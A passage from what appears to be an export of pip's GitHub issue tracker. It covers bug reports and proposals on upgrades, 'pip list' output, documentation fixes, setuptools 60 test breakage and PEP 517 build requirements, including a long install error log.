Successfully processed 1 files; Failed processing 0 files

PS C:\Users\Janos> pip install -v --upgrade pip
Using pip 21.2.4 from C:\Program Files\Python\3.10\lib\site-packages\pip (python 3.10)
Collecting pip
  Using cached pip-21.3.1-py3-none-any.whl (1.7 MB)
Installing collected packages: pip
  Creating C:\Users\Janos\AppData\Local\Temp\pip-target-ox67vwws\bin
Successfully installed pip-21.3.1
WARNING: You are using pip version 21.2.4; however, version 21.3.1 is available.
You should consider upgrading via the 'C:\Program Files\Python\3.10\python.exe -m pip install --upgrade pip' command.

PS C:\Users\Janos> pip show pip
Name: pip
Version: 21.2.4
Summary: The PyPA recommended tool for installing Python packages.
Home-page: https://pip.pypa.io/
Author: The pip developers
Author-email: distutils-sig@python.org
License: MIT
Location: c:\program files\python\3.10\lib\site-packages
Requires:
Required-by:
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Wynadorn
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10755: state: open
title: Uninstall all packages before installing updated versions of them
body: Fixes #9059 #7408 and perhaps others ?
user: tzickel
issue_10754: state: open
title: Proposal for exposing `required-by` info in `list` command
body: cf #10036

The new proposal is to expose the information when the command is
run with `--verbose`, as for `location` or `installer`. It is done in both `column` and `json` formats.

This allows oneliners like:

    pip list --outdated --verbose | awk '{if($7 ~ "roll") print $1}'

Or with more details and a table output:

    pip list --outdated --verbose | awk '{if($7 ~ "roll") print $1,$2,$3}' | column -t

Note: I've not adapted unit tests nor added new ones nor added a news fragment yet. Let's see if the
proposal can reach some consensus before :)
user: yohanboniface
issue_10752: state: open
title: Pip should reorganise its internal API along the lines of having more modular commands
body: Personally, I wish that functionality like this could be separated out into more modular tools, because I don't see this as being a core piece of pip functionality, rather it's a piece of functionality that needs to be in pip just to re-use chunks of pip's machinery. But that's a whole other discussion, and not for now.

_Originally posted by @pfmoore in https://github.com/pypa/pip/issues/10748#issuecomment-1002192519_
user: pfmoore
issue_10751: state: open
title: Fix inconsistency in dependency resolution documentation
body: It looks like during commit https://github.com/pypa/pip/commit/d7c33065ad, the example given for "dependency resolution" in the [docs](https://pip.pypa.io/en/stable/topics/dependency-resolution/#possible-ways-to-reduce-backtracking) was changed from using "dummy" package names (`package_coffee`, `package_tea` and `package_water`) to "real" package names (`pytest` and `pytest-cov`). While the new example _may_ be a little more understandable, this caused some inconsistencies and "bugs" in the documentation, namely:
- The wording `.. pip cannot install the packages requested because they are asking for conflicting versions of pytest` is not entirely accurate - these are not two different packages asking for pytest, but one package asking for pytest and pytest itself.
- There is a missing word in the newer documentation: `with a version or equal to`
- Most importantly, later in the documentation the "dummy" package names are mentioned again (``In our first example both `package_coffee` and `package_tea` ...``), and since this is the only place they were mentioned before this part, the docs are now inconsistent and confusing.

I reverted the example to use the older package names. I also switched the "dummy" versions a bit, because in one place it said `package_tea 4.3.0 depends on package_water==2.3.1` and then later it said `` `package_tea 4.1.3` which also depends on `package_water 2.6.1` `` which makes less sense (older version using a newer version of a dependency).
user: wiggin15
issue_10745: state: open
title: scaffold UX docs
body: Preview
https://pip--10745.org.readthedocs.build/en/10745/ux-research-design/

TODO

- [ ] Cleanup markdown
- [ ] Ensure all links are working and point to the right place
- [ ] Make sure images and working, including alt-text

user: nlhkabu
issue_10742: state: open
title: Setuptools 60 is breaking tests
body: Filed for tracking and discussion. Unfortuantely I don’t (and won’t for a while) have time to look into the cause, but from a quick peek, it seems like this is a debundling issue caused by setuptools’s `distutils` ~vendoring~ adoption:

```
self = <setuptools.command.egg_info.egg_info object at 0x000001ABC5892140>
dist = <setuptools.dist.Distribution object at 0x000001ABC58A0790>

    def __init__(self, dist):
        """Create and initialize a new Command object.  Most importantly,
        invokes the 'initialize_options()' method, which is the real
        initializer and depends on the actual command being
        instantiated.
        """
        # late import because of mutual dependence between these classes
        from distutils.dist import Distribution
    
        if not isinstance(dist, Distribution):
>           raise TypeError("dist must be a Distribution instance")
E           TypeError: dist must be a Distribution instance

Distribution = <class 'distutils.dist.Distribution'>
dist       = <setuptools.dist.Distribution object at 0x000001ABC58A0790>
self       = <setuptools.command.egg_info.egg_info object at 0x000001ABC5892140>
```

Setuptools is using `isinstance` to check whether `dist` is of the correct type, but it imports `Distribution` from its vendored `distutils`, which `dist` is actually created from the system distutils. Or the other way around, I’m not sure. But something like that, I think. It’d be awesome if someone could dig deeper into this and file an issue in pypa/setuptools with deeper investigation.

Regarding pip’s situation, I think this does not affect the actual code base (which never imports setuptools), only the test suite, and we should be able to work around this by capping setuptools to `<60`. Or with some workaround in test setup.
user: uranusjr
issue_10739: state: open
title: Passing --use-pep517 doesn't apply to build requirements
body: ### Description

Attempting to install a package that has unbuilt dependencies with an implicit dependency on setuptools fails when installing under PEP 517.

Because `semver<2.7.3,>=2.2.1` has an implicit dependency on Setuptools but because Setuptools isn't installed, the build fails. In other situations, passing `--use-pep517` allows for pip to install setuptools as a fallback dependency for packages that don't declare it.

### Expected behavior

If the install is indicating `--use-pep517`, then perhaps that option should be used when installing the build dependencies as well. Or alternatively maybe there should be another option that indicates to use pep517 to install dependencies for pep518 build dependencies.

### pip version

21.3.1

### Python version

3.10.0

### OS

macOS 12

### How to Reproduce

```
example $ ls
pyproject.toml
example $ cat *
[build-system]
requires = ["setuptools>=36.2.4", "pkutils>=1.0.0,<2.0.0"]
build-backend = "setuptools.build_meta"
example $ pip cache remove semver
WARNING: No matching packages for pattern "semver"
Files removed: 0
example $ pip install --use-pep517 .
```

### Output

<details>

```sh-session
Processing /Users/jaraco/draft/example
  Installing build dependencies ... error
  ERROR: Command errored out with exit status 1:
   command: /usr/local/bin/python /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-standalone-pip-vi5we1oe/__env_pip__.zip/pip install --ignore-installed --no-user --prefix /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-build-env-f1as9f7e/overlay --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- 'setuptools>=36.2.4' 'pkutils>=1.0.0,<2.0.0'
       cwd: None
  Complete output (203 lines):
  Collecting setuptools>=36.2.4
    Using cached setuptools-60.0.3-py3-none-any.whl (952 kB)
  Collecting pkutils<2.0.0,>=1.0.0
    Using cached pkutils-1.2.1-py2.py3-none-any.whl (9.9 kB)
  Collecting semver<2.7.3,>=2.2.1
    Using cached semver-2.7.2.tar.gz (4.8 kB)
    Preparing metadata (setup.py): started
    Preparing metadata (setup.py): finished with status 'error'
    ERROR: Command errored out with exit status 1:
     command: /usr/local/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_37b84fa9b2b2406896df9ebb9b55a7cd/setup.py'"'"'; __file__='"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_37b84fa9b2b2406896df9ebb9b55a7cd/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-pip-egg-info-kc757de4
         cwd: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_37b84fa9b2b2406896df9ebb9b55a7cd/
    Complete output (5 lines):
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_37b84fa9b2b2406896df9ebb9b55a7cd/setup.py", line 6, in <module>
        from setuptools import setup
    ImportError: cannot import name 'setup' from 'setuptools' (unknown location)
    ----------------------------------------
  WARNING: Discarding https://files.pythonhosted.org/packages/f5/53/e54d47643e69c14260e89713e04e028b08d0a1a867b1e0bc818f0ca0d63a/semver-2.7.2.tar.gz#sha256=305ec78e564557d506db6489b87a7b1a14ab1436feeeb8062b53c055455fae8f (from https://pypi.org/simple/semver/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
    Using cached semver-2.7.1.tar.gz (4.8 kB)
    Preparing metadata (setup.py): started
    Preparing metadata (setup.py): finished with status 'error'
    ERROR: Command errored out with exit status 1:
     command: /usr/local/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_2f24dca12ea14d96a50b5f2d96ff96a7/setup.py'"'"'; __file__='"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_2f24dca12ea14d96a50b5f2d96ff96a7/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-pip-egg-info-ffplvt53
         cwd: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_2f24dca12ea14d96a50b5f2d96ff96a7/
    Complete output (5 lines):
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_2f24dca12ea14d96a50b5f2d96ff96a7/setup.py", line 6, in <module>
        from setuptools import setup
    ImportError: cannot import name 'setup' from 'setuptools' (unknown location)
    ----------------------------------------
  WARNING: Discarding https://files.pythonhosted.org/packages/0a/ac/d8f4cb81b44381555dc2cc449a1af1606a4a526be2849c8fa134d5a31c32/semver-2.7.1.tar.gz#sha256=f6ace2dd25ac435d8a0133c4a6d12972129d9d574563569a48dd073ba23f1bef (from https://pypi.org/simple/semver/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
    Using cached semver-2.7.0.tar.gz (4.8 kB)
    Preparing metadata (setup.py): started
    Preparing metadata (setup.py): finished with status 'error'
    ERROR: Command errored out with exit status 1:
     command: /usr/local/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_edff00f601a24698a93ce1dcf9794830/setup.py'"'"'; __file__='"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_edff00f601a24698a93ce1dcf9794830/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-pip-egg-info-r82eq0x3
         cwd: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_edff00f601a24698a93ce1dcf9794830/
    Complete output (5 lines):
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_edff00f601a24698a93ce1dcf9794830/setup.py", line 6, in <module>
        from setuptools import setup
    ImportError: cannot import name 'setup' from 'setuptools' (unknown location)
    ----------------------------------------
  WARNING: Discarding https://files.pythonhosted.org/packages/6a/31/70f8aaa54b8a66d7d7a7cdba1d6a98e6e48184d7d24b4093b8dbb85969cb/semver-2.7.0.tar.gz#sha256=a7b3a219ff99a3f3842baa75a2e012d2adbdc7d00ffb4017d797e5d63d1ee5ca (from https://pypi.org/simple/semver/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
    Using cached semver-2.6.0.tar.gz (4.5 kB)
    Preparing metadata (setup.py): started
    Preparing metadata (setup.py): finished with status 'error'
    ERROR: Command errored out with exit status 1:
     command: /usr/local/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_5b292c074d474663bd4b8f3545e11abc/setup.py'"'"'; __file__='"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_5b292c074d474663bd4b8f3545e11abc/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-pip-egg-info-4rwfhmeg
         cwd: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_5b292c074d474663bd4b8f3545e11abc/
    Complete output (5 lines):
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_5b292c074d474663bd4b8f3545e11abc/setup.py", line 6, in <module>
        from setuptools import setup
    ImportError: cannot import name 'setup' from 'setuptools' (unknown location)
    ----------------------------------------
  WARNING: Discarding https://files.pythonhosted.org/packages/c6/47/54611c019d3fb1b31aee502c4893f56c4a329fb614f785c2af7f5846939a/semver-2.6.0.tar.gz#sha256=75d0a314aef5473435c517795d6cb9478810585dd3315c4eebc071201d54d14b (from https://pypi.org/simple/semver/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
    Using cached semver-2.5.0.tar.gz (4.5 kB)
    Preparing metadata (setup.py): started
    Preparing metadata (setup.py): finished with status 'error'
    ERROR: Command errored out with exit status 1:
     command: /usr/local/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_2e8708df751447a8835275189eb62b07/setup.py'"'"'; __file__='"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_2e8708df751447a8835275189eb62b07/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-pip-egg-info-wtnb1bbc
         cwd: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_2e8708df751447a8835275189eb62b07/
    Complete output (5 lines):
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_2e8708df751447a8835275189eb62b07/setup.py", line 6, in <module>
        from setuptools import setup
    ImportError: cannot import name 'setup' from 'setuptools' (unknown location)
    ----------------------------------------
  WARNING: Discarding https://files.pythonhosted.org/packages/6a/b4/d901be05d4d7a6537b61d8d1839a8a60d2102e80e315168433d3c0bb42b1/semver-2.5.0.tar.gz#sha256=ff7d193d9df702a8e71a311e808a4e85a1f44e4a9c379361d5d354baaeebbe02 (from https://pypi.org/simple/semver/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
    Using cached semver-2.4.2.tar.gz (4.5 kB)
    Preparing metadata (setup.py): started
    Preparing metadata (setup.py): finished with status 'error'
    ERROR: Command errored out with exit status 1:
     command: /usr/local/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_81df46b9824c4cd5a87688ae0101425b/setup.py'"'"'; __file__='"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_81df46b9824c4cd5a87688ae0101425b/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-pip-egg-info-v4foq65f
         cwd: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_81df46b9824c4cd5a87688ae0101425b/
    Complete output (5 lines):
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_81df46b9824c4cd5a87688ae0101425b/setup.py", line 6, in <module>
        from setuptools import setup
    ImportError: cannot import name 'setup' from 'setuptools' (unknown location)
    ----------------------------------------
  WARNING: Discarding https://files.pythonhosted.org/packages/1e/80/075a7683e49867cfbbc29697ebfce43eb660a00701166f778d47361c1b11/semver-2.4.2.tar.gz#sha256=1330a7fad7e7eabf921c4b0755127f7413c0c4a226ab2805ef4ecd71ed02d481 (from https://pypi.org/simple/semver/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
    Using cached semver-2.4.1.tar.gz (2.8 kB)
    Preparing metadata (setup.py): started
    Preparing metadata (setup.py): finished with status 'error'
    ERROR: Command errored out with exit status 1:
     command: /usr/local/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_a1de725ea0d840d29bfd18d3d94d4b09/setup.py'"'"'; __file__='"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_a1de725ea0d840d29bfd18d3d94d4b09/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-pip-egg-info-80j_cqcx
         cwd: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_a1de725ea0d840d29bfd18d3d94d4b09/
    Complete output (10 lines):
    /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_a1de725ea0d840d29bfd18d3d94d4b09/setup.py:3: DeprecationWarning: The distutils package is deprecated and slated for removal in Python 3.12. Use setuptools or check PEP 632 for potential alternatives
      from distutils.core import setup
    /Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/distutils/dist.py:274: UserWarning: Unknown distribution option: 'include_package_data'
      warnings.warn(msg)
    usage: setup.py [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...]
       or: setup.py --help [cmd1 cmd2 ...]
       or: setup.py --help-commands
       or: setup.py cmd --help
  
    error: invalid command 'egg_info'
    ----------------------------------------
  WARNING: Discarding https://files.pythonhosted.org/packages/bd/46/86ebc497ece1ab47732197ac6a3c8189a80cdd1079aa2dda43865598428a/semver-2.4.1.tar.gz#sha256=4b407ad9516204e737438d2ee62e1d109674803f3fd48f0a7273f3ba353cf6fe (from https://pypi.org/simple/semver/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
    Using cached semver-2.4.0.tar.gz (2.8 kB)
    Preparing metadata (setup.py): started
    Preparing metadata (setup.py): finished with status 'error'
    ERROR: Command errored out with exit status 1:
     command: /usr/local/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_c2f80235fd4449db9a925981164853fd/setup.py'"'"'; __file__='"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_c2f80235fd4449db9a925981164853fd/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-pip-egg-info-60f232gp
         cwd: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_c2f80235fd4449db9a925981164853fd/
    Complete output (10 lines):
    /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_c2f80235fd4449db9a925981164853fd/setup.py:3: DeprecationWarning: The distutils package is deprecated and slated for removal in Python 3.12. Use setuptools or check PEP 632 for potential alternatives
      from distutils.core import setup
    /Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/distutils/dist.py:274: UserWarning: Unknown distribution option: 'include_package_data'
      warnings.warn(msg)
    usage: setup.py [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...]
       or: setup.py --help [cmd1 cmd2 ...]
       or: setup.py --help-commands
       or: setup.py cmd --help
  
    error: invalid command 'egg_info'
    ----------------------------------------
  WARNING: Discarding https://files.pythonhosted.org/packages/4a/cc/b2fe8fe0023474c77d6eca0c92205bce46632ffda8487f14c7d67276023d/semver-2.4.0.tar.gz#sha256=8cd2fca77da1d219f81c50ce8bacf940a3b42d84662dfde78aac0b8a3c109548 (from https://pypi.org/simple/semver/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
    Using cached semver-2.3.1.tar.gz (2.8 kB)
    Preparing metadata (setup.py): started
    Preparing metadata (setup.py): finished with status 'error'
    ERROR: Command errored out with exit status 1:
     command: /usr/local/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_3a8637d0f65540bd88737dfe07767c15/setup.py'"'"'; __file__='"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_3a8637d0f65540bd88737dfe07767c15/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-pip-egg-info-dr2td1lx
         cwd: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_3a8637d0f65540bd88737dfe07767c15/
    Complete output (10 lines):
    /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_3a8637d0f65540bd88737dfe07767c15/setup.py:3: DeprecationWarning: The distutils package is deprecated and slated for removal in Python 3.12. Use setuptools or check PEP 632 for potential alternatives
      from distutils.core import setup
    /Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/distutils/dist.py:274: UserWarning: Unknown distribution option: 'include_package_data'
      warnings.warn(msg)
    usage: setup.py [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...]
       or: setup.py --help [cmd1 cmd2 ...]
       or: setup.py --help-commands
       or: setup.py cmd --help
  
    error: invalid command 'egg_info'
    ----------------------------------------
  WARNING: Discarding https://files.pythonhosted.org/packages/32/44/5a878276fb81dedf2a74ff3c75e663d7d3c2cd2b0f01ea77acf3b32bfb25/semver-2.3.1.tar.gz#sha256=8917eecf1d45dabf93fc982cac626b223f53a759ce612c7ce4158e8873cef019 (from https://pypi.org/simple/semver/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
    Using cached semver-2.3.0.tar.gz (2.8 kB)
    Preparing metadata (setup.py): started
    Preparing metadata (setup.py): finished with status 'error'
    ERROR: Command errored out with exit status 1:
     command: /usr/local/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_7ba459fa934145629f71ec5a6ac96742/setup.py'"'"'; __file__='"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_7ba459fa934145629f71ec5a6ac96742/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-pip-egg-info-8r8x4q7k
         cwd: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_7ba459fa934145629f71ec5a6ac96742/
    Complete output (10 lines):
    /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_7ba459fa934145629f71ec5a6ac96742/setup.py:3: DeprecationWarning: The distutils package is deprecated and slated for removal in Python 3.12. Use setuptools or check PEP 632 for potential alternatives
      from distutils.core import setup
    /Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/distutils/dist.py:274: UserWarning: Unknown distribution option: 'include_package_data'
      warnings.warn(msg)
    usage: setup.py [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...]
       or: setup.py --help [cmd1 cmd2 ...]
       or: setup.py --help-commands
       or: setup.py cmd --help
  
    error: invalid command 'egg_info'
    ----------------------------------------
  WARNING: Discarding https://files.pythonhosted.org/packages/7d/c6/6dec51e718eecd896ffad7f0c773829bdc7a0f32fdce96fb68f549ff7019/semver-2.3.0.tar.gz#sha256=e9bf0d41cbfc3136b009cf01c7ba060eb6d6e73d24e038b65888f6f8e3267d7a (from https://pypi.org/simple/semver/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
    Using cached semver-2.2.1.tar.gz (2.5 kB)
    Preparing metadata (setup.py): started
    Preparing metadata (setup.py): finished with status 'error'
    ERROR: Command errored out with exit status 1:
     command: /usr/local/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_7a6a99ae930e4db0b63ad379d94ca4d9/setup.py'"'"'; __file__='"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_7a6a99ae930e4db0b63ad379d94ca4d9/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-pip-egg-info-tgqdifob
         cwd: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_7a6a99ae930e4db0b63ad379d94ca4d9/
    Complete output (10 lines):
    /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-r4mpyoay/semver_7a6a99ae930e4db0b63ad379d94ca4d9/setup.py:3: DeprecationWarning: The distutils package is deprecated and slated for removal in Python 3.12. Use setuptools or check PEP 632 for potential alternatives
      from distutils.core import setup
    /Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/distutils/dist.py:274: UserWarning: Unknown distribution option: 'include_package_data'
      warnings.warn(msg)
    usage: setup.py [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...]
       or: setup.py --help [cmd1 cmd2 ...]
       or: setup.py --help-commands
       or: setup.py cmd --help
  
    error: invalid command 'egg_info'
    ----------------------------------------
  WARNING: Discarding https://files.pythonhosted.org/packages/29/58/fc4b1e887fbb2b1a4d972c8eccd94782607b5dc706c3245b6b435cdb013f/semver-2.2.1.tar.gz#sha256=95d8c002e3d9584089f2f722c6c0b1c8a58518de39851d9ca588027e9dde2f98 (from https://pypi.org/simple/semver/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
  Collecting pkutils<2.0.0,>=1.0.0
    Using cached pkutils-1.2.0-py2.py3-none-any.whl (9.9 kB)
    Using cached pkutils-1.1.1-py2.py3-none-any.whl (7.3 kB)
    Using cached pkutils-1.1.0-py2.py3-none-any.whl (10 kB)
